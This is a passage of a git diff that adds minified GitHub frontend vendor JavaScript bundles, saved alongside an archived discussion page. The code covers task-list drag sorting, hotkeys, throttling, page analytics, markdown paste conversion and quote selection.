w(i,s,f){v.set(i,{sortStarted:s,sortFinished:f}),i.addEventListener("dragstart",_),i.addEventListener("dragenter",d),i.addEventListener("dragend",n),i.addEventListener("drop",e),i.addEventListener("dragover",t)}o(w,"sortable");function p(i,s){if(i.parentNode===s.parentNode){let f=i;for(;f;){if(f===s)return!0;f=f.previousElementSibling}}return!1}o(p,"isBefore");function y(i,s){return i.closest("task-lists")===s.closest("task-lists")}o(y,"isSameContainer");function _(i){if(i.currentTarget!==i.target)return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".contains-task-list");if(!f||(s.classList.add("is-ghost"),i.dataTransfer&&i.dataTransfer.setData("text/plain",(s.textContent||"").trim()),!s.parentElement))return;const C=Array.from(s.parentElement.children),F=C.indexOf(s),B=v.get(s);B&&B.sortStarted(f),u={didDrop:!1,dragging:s,dropzone:s,sourceList:f,sourceSibling:C[F+1]||null,sourceIndex:F}}o(_,"onDragStart");function d(i){if(!u)return;const s=i.currentTarget;if(s instanceof Element){if(!y(u.dragging,s)){i.stopPropagation();return}i.preventDefault(),i.dataTransfer&&(i.dataTransfer.dropEffect="move"),u.dropzone!==s&&(u.dragging.classList.add("is-dragging"),u.dropzone=s,p(u.dragging,s)?s.before(u.dragging):s.after(u.dragging))}}o(d,"onDragEnter");function e(i){if(!u)return;i.preventDefault(),i.stopPropagation();const s=i.currentTarget;if(!(s instanceof Element)||(u.didDrop=!0,!u.dragging.parentElement))return;let f=Array.from(u.dragging.parentElement.children).indexOf(u.dragging);const C=s.closest(".contains-task-list");if(!C||u.sourceIndex===f&&u.sourceList===C)return;u.sourceList===C&&u.sourceIndex{const C=f.target;C instanceof HTMLInputElement&&(!C.classList.contains("task-list-item-checkbox")||this.dispatchEvent(new CustomEvent("task-lists-check",{bubbles:!0,detail:{position:k(C),checked:C.checked}})))});const s=new MutationObserver(L.bind(null,this));a.set(this,s),s.observe(this,{childList:!0,subtree:!0}),L(this)}disconnectedCallback(){const s=a.get(this);s&&s.disconnect()}get disabled(){return this.hasAttribute("disabled")}set disabled(s){s?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get sortable(){return this.hasAttribute("sortable")}set sortable(s){s?this.setAttribute("sortable",""):this.removeAttribute("sortable")}static get observedAttributes(){return["disabled"]}attributeChangedCallback(s,f,C){if(f!==C)switch(s){case"disabled":R(this);break}}}o(l,"TaskListsElement");const r=document.createElement("template");r.innerHTML=` + + + `;const c=new WeakMap;function m(i){if(c.get(i))return;c.set(i,!0);const s=i.closest("task-lists");if(!(s instanceof l)||s.querySelectorAll(".task-list-item").length<=1)return;const f=r.content.cloneNode(!0),C=f.querySelector(".handle");if(i.prepend(f),!C)throw new Error("handle not found");C.addEventListener("mouseenter",P),C.addEventListener("mouseleave",H),w(i,T,q),i.addEventListener("mouseenter",A),i.addEventListener("mouseleave",h)}o(m,"initItem");function A(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest("task-lists");f instanceof l&&f.sortable&&!f.disabled&&s.classList.add("hovered")}o(A,"onListItemMouseOver");function h(i){const s=i.currentTarget;s instanceof Element&&s.classList.remove("hovered")}o(h,"onListItemMouseOut");function k(i){const s=b(i);if(!s)throw new Error(".contains-task-list not found");const f=i.closest(".task-list-item"),C=Array.from(s.children).filter(B=>B.tagName==="LI"),F=f?C.indexOf(f):-1;return[O(s),F]}o(k,"position");function b(i){const s=i.parentElement;return s?s.closest(".contains-task-list"):null}o(b,"taskList");function E(i){return b(i)===g(i)}o(E,"isRootTaskList");function g(i){const s=b(i);return s?g(s)||s:null}o(g,"rootTaskList");function L(i){const s=i.querySelectorAll(".contains-task-list > .task-list-item");for(const f of s)E(f)&&m(f);R(i)}o(L,"syncState");function R(i){for(const s of i.querySelectorAll(".task-list-item"))s.classList.toggle("enabled",!i.disabled);for(const s of i.querySelectorAll(".task-list-item-checkbox"))s instanceof HTMLInputElement&&(s.disabled=i.disabled)}o(R,"syncDisabled");function O(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");return Array.from(s.querySelectorAll("ol, ul")).indexOf(i)}o(O,"listIndex");const I=new WeakMap;function T(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");I.set(s,Array.from(s.querySelectorAll("ol, ul")))}o(T,"onSortStart");function q({src:i,dst:s}){const f=i.list.closest("task-lists");if(!f)return;const C=I.get(f);!C||(I.delete(f),f.dispatchEvent(new CustomEvent("task-lists-move",{bubbles:!0,detail:{src:[C.indexOf(i.list),i.index],dst:[C.indexOf(s.list),s.index]}})))}o(q,"onSorted");function P(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");if(!f)return;const C=f.closest("task-lists");C instanceof l&&C.sortable&&!C.disabled&&f.setAttribute("draggable","true")}o(P,"onHandleMouseOver");function H(i){if(S())return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");!f||f.setAttribute("draggable","false")}o(H,"onHandleMouseOut"),window.customElements.get("task-lists")||(window.TaskListsElement=l,window.customElements.define("task-lists",l))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-f8db72a328a9.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js new file mode 100644 index 0000000..4e18cc6 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var D=Object.defineProperty;var c=(x,C)=>D(x,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"],{46263:(x,C,N)=>{N.d(C,{D:()=>b,P:()=>p});function p(_,m=0,{start:y=!0,middle:u=!0,once:w=!1}={}){let h=0,l,f=!1;function v(...k){if(f)return;const T=Date.now()-h;h=Date.now(),y?(y=!1,_.apply(this,k),w&&v.cancel()):(u&&T{h=Date.now(),_.apply(this,k),w&&v.cancel()},u?m-T:m))}return c(v,"fn"),v.cancel=()=>{clearTimeout(l),f=!0},v}c(p,"throttle");function b(_,m=0,{start:y=!1,middle:u=!1,once:w=!1}={}){return p(_,m,{start:y,middle:u,once:w})}c(b,"debounce")},11793:(x,C,N)=>{N.d(C,{EL:()=>u,N9:()=>W,Tz:()=>S});class p{constructor(o){this.children=[],this.parent=o}delete(o){const r=this.children.indexOf(o);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(o){return this.children.push(o),this}}c(p,"Leaf");class b{constructor(o){this.parent=null,this.children={},this.parent=o||null}get(o){return this.children[o]}insert(o){let r=this;for(let g=0;gd.filter(n=>n!=="")).filter(d=>d.length>0)}c(y,"expandHotkeyToEdges");function u(a){const{ctrlKey:o,altKey:r,metaKey:g,key:d}=a,n=[],e=[o,r,g,h(a)];for(const[t,i]of e.entries())i&&n.push(w[t]);return w.includes(d)||n.push(d),n.join("+")}c(u,"hotkey");const w=["Control","Alt","Meta","Shift"];function h(a){const{shiftKey:o,code:r,key:g}=a;return o&&!(r.startsWith("Key")&&g.toUpperCase()===g)}c(h,"showShift");const l=new b,f=new WeakMap;let v=l,k=null,T=[];function P(){T=[],k=null,v=l}c(P,"resetTriePosition");function I(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}k!=null&&window.clearTimeout(k),k=window.setTimeout(P,1500);const o=v.get(u(a));if(!o){P();return}if(T.push(u(a)),v=o,o instanceof p){const r=a.target;let g=!1,d;const n=_(r);for(let e=o.children.length-1;e>=0;e-=1){d=o.children[e];const t=d.getAttribute("data-hotkey-scope");if(!n&&!t||n&&r.id===t){g=!0;break}}d&&g&&(m(d,T),a.preventDefault()),P()}}c(I,"keyDownHandler");function W(a,o){Object.keys(l.children).length===0&&document.addEventListener("keydown",I);const g=y(o||a.getAttribute("data-hotkey")||"").map(d=>l.insert(d).add(a));f.set(a,g)}c(W,"install");function S(a){const o=f.get(a);if(o&&o.length)for(const r of o)r&&r.delete(a);Object.keys(l.children).length===0&&document.removeEventListener("keydown",I)}c(S,"uninstall")},86058:(x,C,N)=>{N.d(C,{R:()=>w});function p(){let h;try{h=window.top.document.referrer}catch{if(window.parent)try{h=window.parent.document.referrer}catch{}}return h===""&&(h=document.referrer),h}c(p,"getReferrer");function b(){try{return`${screen.width}x${screen.height}`}catch{return"unknown"}}c(b,"getScreenResolution");function _(){let h=0,l=0;try{return typeof window.innerWidth=="number"?(l=window.innerWidth,h=window.innerHeight):document.documentElement!=null&&document.documentElement.clientWidth!=null?(l=document.documentElement.clientWidth,h=document.documentElement.clientHeight):document.body!=null&&document.body.clientWidth!=null&&(l=document.body.clientWidth,h=document.body.clientHeight),`${l}x${h}`}catch{return"unknown"}}c(_,"getBrowserResolution");function m(){return navigator.languages?navigator.languages.join(","):navigator.language||""}c(m,"getBrowserLanguages");function y(){return{referrer:p(),user_agent:navigator.userAgent,screen_resolution:b(),browser_resolution:_(),browser_languages:m(),pixel_ratio:window.devicePixelRatio,timestamp:Date.now(),tz_seconds:new Date().getTimezoneOffset()*-60}}c(y,"getRequestContext");var u=N(82918);class w{constructor(l){this.options=l}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,u.b)()}createEvent(l){return{page:location.href,title:document.title,context:{...this.options.baseContext,...l}}}sendPageView(l){const f=this.createEvent(l);this.send({page_views:[f]})}sendEvent(l,f){const v={...this.createEvent(f),type:l};this.send({events:[v]})}send({page_views:l,events:f}){const v={client_id:this.clientId,page_views:l,events:f,request_context:y()},k=JSON.stringify(v);try{if(navigator.sendBeacon){navigator.sendBeacon(this.collectorUrl,k);return}}catch{}fetch(this.collectorUrl,{method:"POST",cache:"no-cache",headers:{"Content-Type":"application/json"},body:k,keepalive:!1})}}c(w,"AnalyticsClient")},82918:(x,C,N)=>{N.d(C,{b:()=>y});let p;function b(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}c(b,"generateClientId");function _(u){const w=`GH1.1.${u}`,h=Date.now(),l=new Date(h+1*365*86400*1e3).toUTCString();let{domain:f}=document;f.endsWith(".github.com")&&(f="github.com"),document.cookie=`_octo=${w}; expires=${l}; path=/; domain=${f}; secure; samesite=lax`}c(_,"setClientIdCookie");function m(){let u;const h=document.cookie.match(/_octo=([^;]+)/g);if(!h)return;let l=[0,0];for(const f of h){const[,v]=f.split("="),[,k,...T]=v.split("."),P=k.split("-").map(Number);P>l&&(l=P,u=T.join("."))}return u}c(m,"getClientIdFromCookie");function y(){try{const u=m();if(u)return u;const w=b();return _(w),w}catch{return p||(p=b()),p}}c(y,"getOrCreateClientId")},88149:(x,C,N)=>{N.d(C,{n:()=>p});function p(b="ha"){let _;const m={},y=document.head.querySelectorAll(`meta[name^="${b}-"]`);for(const u of Array.from(y)){const{name:w,content:h}=u,l=w.replace(`${b}-`,"").replace(/-/g,"_");l==="url"?_=h:m[l]=h}if(!_)throw new Error(`AnalyticsClient ${b}-url meta tag not found`);return{collectorUrl:_,...Object.keys(m).length>0?{baseContext:m}:{}}}c(p,"getOptionsFromMeta")},38772:(x,C,N)=>{N.d(C,{dy:()=>o,sY:()=>r,Au:()=>n});var p=N(69567);const b=new WeakSet;function _(e){return b.has(e)}c(_,"isDirective");function m(e,t){return _(t)?(t(e),!0):!1}c(m,"processDirective");function y(e){return(...t)=>{const i=e(...t);return b.add(i),i}}c(y,"directive");const u=new WeakMap;class w{constructor(t,i){this.element=t,this.type=i,this.element.addEventListener(this.type,this),u.get(this.element).set(this.type,this)}set(t){typeof t=="function"?this.handleEvent=t.bind(this.element):typeof t=="object"&&typeof t.handleEvent=="function"?this.handleEvent=t.handleEvent.bind(t):(this.element.removeEventListener(this.type,this),u.get(this.element).delete(this.type))}static for(t){u.has(t.element)||u.set(t.element,new Map);const i=t.attributeName.slice(2),s=u.get(t.element);return s.has(i)?s.get(i):new w(t.element,i)}}c(w,"EventHandler");function h(e,t){return e instanceof p.sV&&e.attributeName.startsWith("on")?(w.for(e).set(t),e.element.removeAttributeNS(e.attributeNamespace,e.attributeName),!0):!1}c(h,"processEvent");function l(e,t){return t instanceof S&&e instanceof p.GZ?(t.renderInto(e),!0):!1}c(l,"processSubTemplate");function f(e,t){return t instanceof DocumentFragment&&e instanceof p.GZ?(t.childNodes.length&&e.replace(...t.childNodes),!0):!1}c(f,"processDocumentFragment");function v(e){return typeof e=="object"&&Symbol.iterator in e}c(v,"isIterable");function k(e,t){if(!v(t))return!1;if(e instanceof p.GZ){const i=[];for(const s of t)if(s instanceof S){const E=document.createDocumentFragment();s.renderInto(E),i.push(...E.childNodes)}else s instanceof DocumentFragment?i.push(...s.childNodes):i.push(String(s));return i.length&&e.replace(...i),!0}else return e.value=Array.from(t).join(" "),!0}c(k,"processIterable");function T(e,t){m(e,t)||(0,p.W_)(e,t)||h(e,t)||l(e,t)||f(e,t)||k(e,t)||(0,p.Al)(e,t)}c(T,"processPart");const P=new WeakMap,I=new WeakMap,W=new WeakMap;class S{constructor(t,i,s){this.strings=t,this.values=i,this.processor=s}get template(){if(P.has(this.strings))return P.get(this.strings);{const t=document.createElement("template"),i=this.strings.length-1;return t.innerHTML=this.strings.reduce((s,E,F)=>s+E+(Ft=>{g.has(t)||g.set(t,{i:e.length});const i=g.get(t);for(let s=0;s{st=>{if(!(t instanceof p.GZ))return;const i=document.createElement("template");i.innerHTML=e;const s=document.importNode(i.content,!0);t.replace(...s.childNodes)})},69567:(x,C,N)=>{N.d(C,{sV:()=>u,GZ:()=>v,R:()=>d,AQ:()=>k,W_:()=>P,Al:()=>T,XK:()=>W});function*p(n){let e="",t=0,i=!1;for(let s=0;stypeof i=="string"?i:i.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,t)}}}c(w,"AttributeValueSetter");var h=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},l=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},f;class v{constructor(e,t){this.expression=t,f.set(this,void 0),h(this,f,[e]),e.textContent=""}get value(){return l(this,f).map(e=>e.textContent).join("")}set value(e){this.replace(e)}get previousSibling(){return l(this,f)[0].previousSibling}get nextSibling(){return l(this,f)[l(this,f).length-1].nextSibling}replace(...e){const t=e.map(i=>typeof i=="string"?new Text(i):i);t.length||t.push(new Text("")),l(this,f)[0].before(...t);for(const i of l(this,f))i.remove();h(this,f,t)}}c(v,"NodeTemplatePart"),f=new WeakMap;function k(n){return{createCallback(e,t,i){this.processCallback(e,t,i)},processCallback(e,t,i){var s;if(!(typeof i!="object"||!i)){for(const E of t)if(E.expression in i){const F=(s=i[E.expression])!==null&&s!==void 0?s:"";n(E,F)}}}}}c(k,"createProcessor");function T(n,e){n.value=String(e)}c(T,"processPropertyIdentity");function P(n,e){return typeof e=="boolean"&&n instanceof u&&typeof n.element[n.attributeName]=="boolean"?(n.booleanValue=e,!0):!1}c(P,"processBooleanAttribute");const I=k(T),W=k((n,e)=>{P(n,e)||T(n,e)});var S=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},a=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},o,r;function*g(n){const e=n.ownerDocument.createTreeWalker(n,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let t;for(;t=e.nextNode();)if(t instanceof Element&&t.hasAttributes())for(let i=0;i{var he=Object.defineProperty;var i=(N,M)=>he(N,"name",{value:M,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537"],{52769:(N,M,E)=>{"use strict";E.d(M,{Ld:()=>oe});function b(f,y){var k,C,O;const q=f.value.slice(0,(k=f.selectionStart)!==null&&k!==void 0?k:void 0),Y=f.value.slice((C=f.selectionEnd)!==null&&C!==void 0?C:void 0);let J=!0;f.contentEditable="true";try{J=document.execCommand("insertText",!1,y)}catch{J=!1}if(f.contentEditable="false",J&&!f.value.slice(0,(O=f.selectionStart)!==null&&O!==void 0?O:void 0).endsWith(y)&&(J=!1),!J){try{document.execCommand("ms-beginUndoUnit")}catch{}f.value=q+y+Y;try{document.execCommand("ms-endUndoUnit")}catch{}f.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))}}i(b,"insertText");const _=new WeakMap;function h(f){const{currentTarget:y}=f,k=f.code==="KeyV"&&(f.ctrlKey||f.metaKey)&&f.shiftKey;(k||k&&f.altKey)&&_.set(y,!0)}i(h,"setSkipFormattingFlag");function v(f){const{currentTarget:y}=f;_.delete(y)}i(v,"unsetSkipFormattedFlag");function e(f){var y;return(y=_.get(f))!==null&&y!==void 0?y:!1}i(e,"shouldSkipFormatting");function o(f,...y){f.addEventListener("keydown",h);for(const k of y)k(f);f.addEventListener("paste",v)}i(o,"installAround");function t(f){f.removeEventListener("keydown",h),f.removeEventListener("paste",v)}i(t,"uninstall$5");function n(f){f.addEventListener("paste",l)}i(n,"install$4");function r(f){f.removeEventListener("paste",l)}i(r,"uninstall$4");function l(f){const y=f.clipboardData,{currentTarget:k}=f;if(e(k)||!y||!c(y))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;let O=y.getData("text/plain");const q=y.getData("text/html"),Y=q.replace(/\u00A0/g," ").replace(/\uC2A0/g," ");if(!q||(O=O.trim(),!O))return;const Z=new DOMParser().parseFromString(Y,"text/html"),Q=Z.createTreeWalker(Z.body,NodeFilter.SHOW_ELEMENT,fe=>fe.parentNode&&s(fe.parentNode)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT),se=u(O,Q);se!==O&&(f.stopPropagation(),f.preventDefault(),b(C,se))}i(l,"onPaste$4");function u(f,y){var k;let C=y.firstChild(),O=f,q=0,Y=0;const J=1e4;for(;C&&Y=0)if(s(C)){const se=m(C,Z);O=O.slice(0,Q)+se+O.slice(Q+Z.length),q=Q+se.length}else q=Q+Z.length;C=y.nextNode()}return Y===J?f:O}i(u,"convertToMarkdown");function a(f){return!f||(f==null?void 0:f.trim().length)===0}i(a,"isEmptyString");function s(f){var y;return((y=f.tagName)===null||y===void 0?void 0:y.toLowerCase())==="a"&&f.hasAttribute("href")}i(s,"isLink");function c(f){return f.types.includes("text/html")}i(c,"hasHTML");function m(f,y){const k=f.href||"";let C="";return g(f)?C=y:d(f)||p(k,y)?C=k:C=`[${y}](${k})`,C}i(m,"linkify$2");function d(f){return f.className.indexOf("commit-link")>=0||!!f.getAttribute("data-hovercard-type")&&f.getAttribute("data-hovercard-type")!=="user"}i(d,"isSpecialLink");function p(f,y){return f=f.slice(-1)==="/"?f.slice(0,-1):f,y=y.slice(-1)==="/"?y.slice(0,-1):y,f.toLowerCase()===y.toLowerCase()}i(p,"areEqualLinks");function g(f){var y;return((y=f.textContent)===null||y===void 0?void 0:y.slice(0,1))==="@"&&f.getAttribute("data-hovercard-type")==="user"}i(g,"isUserMention");function w(f){f.addEventListener("dragover",$),f.addEventListener("drop",I),f.addEventListener("paste",z)}i(w,"install$3");function x(f){f.removeEventListener("dragover",$),f.removeEventListener("drop",I),f.removeEventListener("paste",z)}i(x,"uninstall$3");function I(f){const y=f.dataTransfer;if(!y||ee(y)||!te(y))return;const k=ne(y);if(!k.some(T))return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k.map(X).join(""))}i(I,"onDrop$1");function $(f){const y=f.dataTransfer;y&&(y.dropEffect="link")}i($,"onDragover$1");function z(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!te(k))return;const C=ne(k);if(!C.some(T))return;f.stopPropagation(),f.preventDefault();const O=f.currentTarget;O instanceof HTMLTextAreaElement&&b(O,C.map(X).join(""))}i(z,"onPaste$3");function X(f){return T(f)?` +![](${f}) +`:f}i(X,"linkify$1");function ee(f){return Array.from(f.types).indexOf("Files")>=0}i(ee,"hasFile$1");function te(f){return Array.from(f.types).indexOf("text/uri-list")>=0}i(te,"hasLink");function ne(f){return(f.getData("text/uri-list")||"").split(`\r +`)}i(ne,"extractLinks");const P=/\.(gif|png|jpe?g)$/i;function T(f){return P.test(f)}i(T,"isImageLink");function A(f){f.addEventListener("paste",S)}i(A,"install$2");function R(f){f.removeEventListener("paste",S)}i(R,"uninstall$2");function S(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!F(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/plain");if(!O||!H(O)||D(C))return;const q=C.value.substring(C.selectionStart,C.selectionEnd);!q.length||H(q.trim())||(f.stopPropagation(),f.preventDefault(),b(C,U(q,O)))}i(S,"onPaste$2");function F(f){return Array.from(f.types).includes("text/plain")}i(F,"hasPlainText");function D(f){const y=f.selectionStart||0;return y>1?f.value.substring(y-2,y)==="](":!1}i(D,"isWithinLink");function U(f,y){return`[${f}](${y})`}i(U,"linkify");function H(f){return/^https?:\/\//i.test(f)}i(H,"isURL");function B(f){f.addEventListener("dragover",ce),f.addEventListener("drop",G),f.addEventListener("paste",ie)}i(B,"install$1");function re(f){f.removeEventListener("dragover",ce),f.removeEventListener("drop",G),f.removeEventListener("paste",ie)}i(re,"uninstall$1");function G(f){const y=f.dataTransfer;if(!y||le(y))return;const k=L(y);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(G,"onDrop");function ce(f){const y=f.dataTransfer;y&&(y.dropEffect="copy")}i(ce,"onDragover");function ie(f){const{currentTarget:y}=f;if(e(y)||!f.clipboardData)return;const k=L(f.clipboardData);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(ie,"onPaste$1");function le(f){return Array.from(f.types).indexOf("Files")>=0}i(le,"hasFile");function ae(f){const y="\xA0";return(f.textContent||"").trim().replace(/\|/g,"\\|").replace(/\n/g," ")||y}i(ae,"columnText");function de(f){return Array.from(f.querySelectorAll("td, th")).map(ae)}i(de,"tableHeaders");function ue(f){const y=Array.from(f.querySelectorAll("tr")),k=y.shift();if(!k)return"";const C=de(k),O=C.map(()=>"--"),q=`${C.join(" | ")} +${O.join(" | ")} +`,Y=y.map(J=>Array.from(J.querySelectorAll("td")).map(ae).join(" | ")).join(` +`);return` +${q}${Y} + +`}i(ue,"tableMarkdown");function L(f){if(Array.from(f.types).indexOf("text/html")===-1)return;const y=f.getData("text/html");if(!//,"").replace(//,` +${q}`)}i(L,"generateText");function j(f){f.addEventListener("paste",K)}i(j,"install");function W(f){f.removeEventListener("paste",K)}i(W,"uninstall");function K(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!V(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/x-gfm");!O||(f.stopPropagation(),f.preventDefault(),b(C,O))}i(K,"onPaste");function V(f){return Array.from(f.types).indexOf("text/x-gfm")>=0}i(V,"hasMarkdown");function oe(f){return o(f,B,w,A,j,n),{unsubscribe:()=>{t(f),re(f),r(f),x(f),R(f),W(f)}}}i(oe,"subscribe")},55498:(N,M,E)=>{"use strict";E.d(M,{I:()=>a,p:()=>u});function b(s){const c=s.parentNode;if(c===null||!(c instanceof HTMLElement))throw new Error;let m=0;c instanceof HTMLOListElement&&c.start!==1&&(m=c.start-1);const d=c.children;for(let p=0;p/g,">")}i(t,"escapeAttribute");const n={INPUT(s){return s instanceof HTMLInputElement&&s.checked?"[x] ":"[ ] "},CODE(s){const c=s.textContent||"";return s.parentNode&&s.parentNode.nodeName==="PRE"?(s.textContent=`\`\`\` +${c.replace(/\n+$/,"")} +\`\`\` + +`,s):c.indexOf("`")>=0?`\`\` ${c} \`\``:`\`${c}\``},P(s){const c=document.createElement("p"),m=s.textContent||"";return c.textContent=m.replace(/<(\/?)(pre|strong|weak|em)>/g,"\\<$1$2\\>"),c},STRONG(s){return`**${s.textContent||""}**`},EM(s){return`_${s.textContent||""}_`},DEL(s){return`~${s.textContent||""}~`},BLOCKQUOTE(s){const c=(s.textContent||"").trim().replace(/^/gm,"> "),m=document.createElement("pre");return m.textContent=`${c} + +`,m},A(s){const c=s.textContent||"",m=s.getAttribute("href");return/^https?:/.test(c)&&c===m?c:m?`[${c}](${m})`:c},IMG(s){const c=s.getAttribute("alt")||"",m=s.getAttribute("src");if(!m)throw new Error;const d=s.hasAttribute("width")?` width="${t(s.getAttribute("width")||"")}"`:"",p=s.hasAttribute("height")?` height="${t(s.getAttribute("height")||"")}"`:"";return d||p?`${t(c)}`:`![${c}](${m})`},LI(s){const c=s.parentNode;if(!c)throw new Error;let m="";o(s)||(c.nodeName==="OL"?e>0&&!c.previousSibling?m=`${b(s)+e+1}\\. `:m=`${b(s)+1}. `:m="* ");const d=m.replace(/\S/g," "),p=(s.textContent||"").trim().replace(/^/gm,d),g=document.createElement("pre");return g.textContent=p.replace(d,m),g},OL(s){const c=document.createElement("li");return c.appendChild(document.createElement("br")),s.append(c),s},H1(s){const c=parseInt(s.nodeName.slice(1));return s.prepend(`${Array(c+1).join("#")} `),s},UL(s){return s}};n.UL=n.OL;for(let s=2;s<=6;++s)n[`H${s}`]=n.H1;function r(s){const c=document.createNodeIterator(s,NodeFilter.SHOW_ELEMENT,{acceptNode(p){return p.nodeName in n&&!_(p)&&(h(p)||v(p))?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),m=[];let d=c.nextNode();for(;d;)d instanceof HTMLElement&&m.push(d),d=c.nextNode();m.reverse();for(const p of m)p.replaceWith(n[p.nodeName](p))}i(r,"insertMarkdownSyntax");function l(s,c){const m=s.startContainer;if(!m||!m.parentNode||!(m.parentNode instanceof HTMLElement))throw new Error("the range must start within an HTMLElement");const d=m.parentNode;let p=s.cloneContents();if(c){const x=p.querySelector(c);x&&(p=document.createDocumentFragment(),p.appendChild(x))}e=0;const g=d.closest("li");if(d.closest("pre")){const x=document.createElement("pre");x.appendChild(p),p=document.createDocumentFragment(),p.appendChild(x)}else if(g&&g.parentNode&&(g.parentNode.nodeName==="OL"&&(e=b(g)),!p.querySelector("li"))){const x=document.createElement("li");if(!g.parentNode)throw new Error;const I=document.createElement(g.parentNode.nodeName);x.appendChild(p),I.appendChild(x),p=document.createDocumentFragment(),p.appendChild(I)}return p}i(l,"extractFragment");class u{constructor(){this.selection=window.getSelection()}closest(c){const m=this.range.startContainer,d=m instanceof Element?m:m.parentElement;return d?d.closest(c):null}get active(){var c;return(((c=this.selection)===null||c===void 0?void 0:c.rangeCount)||0)>0}get range(){var c;return((c=this.selection)===null||c===void 0?void 0:c.rangeCount)?this.selection.getRangeAt(0):new Range}set range(c){var m,d;(m=this.selection)===null||m===void 0||m.removeAllRanges(),(d=this.selection)===null||d===void 0||d.addRange(c)}get selectionText(){var c;return((c=this.selection)===null||c===void 0?void 0:c.toString().trim())||""}get quotedText(){return`> ${this.selectionText.replace(/\n/g,` +> `)} + +`}select(c){this.selection&&(this.selection.removeAllRanges(),this.selection.selectAllChildren(c))}insert(c){c.value?c.value=`${c.value} + +${this.quotedText}`:c.value=this.quotedText,c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),c.focus(),c.selectionStart=c.value.length,c.scrollTop=c.scrollHeight}}i(u,"Quote");class a extends u{constructor(c="",m){super();this.scopeSelector=c,this.callback=m}get selectionText(){var c,m;if(!this.selection)return"";const d=l(this.range,(c=this.scopeSelector)!==null&&c!==void 0?c:"");(m=this.callback)===null||m===void 0||m.call(this,d),r(d);const p=document.body;if(!p)return"";const g=document.createElement("div");g.appendChild(d),g.style.cssText="position:absolute;left:-9999px;",p.appendChild(g);let w="";try{const x=document.createRange();x.selectNodeContents(g),this.selection.removeAllRanges(),this.selection.addRange(x),w=this.selection.toString(),this.selection.removeAllRanges(),x.detach()}finally{p.removeChild(g)}return w.trim()}}i(a,"MarkdownQuote")},407:(N,M,E)=>{"use strict";E.d(M,{Xm:()=>h,e6:()=>v,iO:()=>e});let b=null;function _(o){return!!o.id&&o.value!==o.defaultValue&&o.form!==b}i(_,"shouldResumeField");function h(o,t){var n,r;const l=(n=t==null?void 0:t.selector)!==null&&n!==void 0?n:".js-session-resumable",a=`${(r=t==null?void 0:t.keyPrefix)!==null&&r!==void 0?r:"session-resume:"}${o}`,s=[];for(const m of document.querySelectorAll(l))(m instanceof HTMLInputElement||m instanceof HTMLTextAreaElement)&&s.push(m);let c=s.filter(m=>_(m)).map(m=>[m.id,m.value]);if(c.length)try{const m=sessionStorage.getItem(a);if(m!==null){const p=JSON.parse(m).filter(function(g){return!c.some(w=>w[0]===g[0])});c=c.concat(p)}sessionStorage.setItem(a,JSON.stringify(c))}catch{}}i(h,"persistResumableFields");function v(o,t){var n;const l=`${(n=t==null?void 0:t.keyPrefix)!==null&&n!==void 0?n:"session-resume:"}${o}`;let u;try{u=sessionStorage.getItem(l)}catch{}if(!u)return;const a=[],s=[];for(const[c,m]of JSON.parse(u)){const d=new 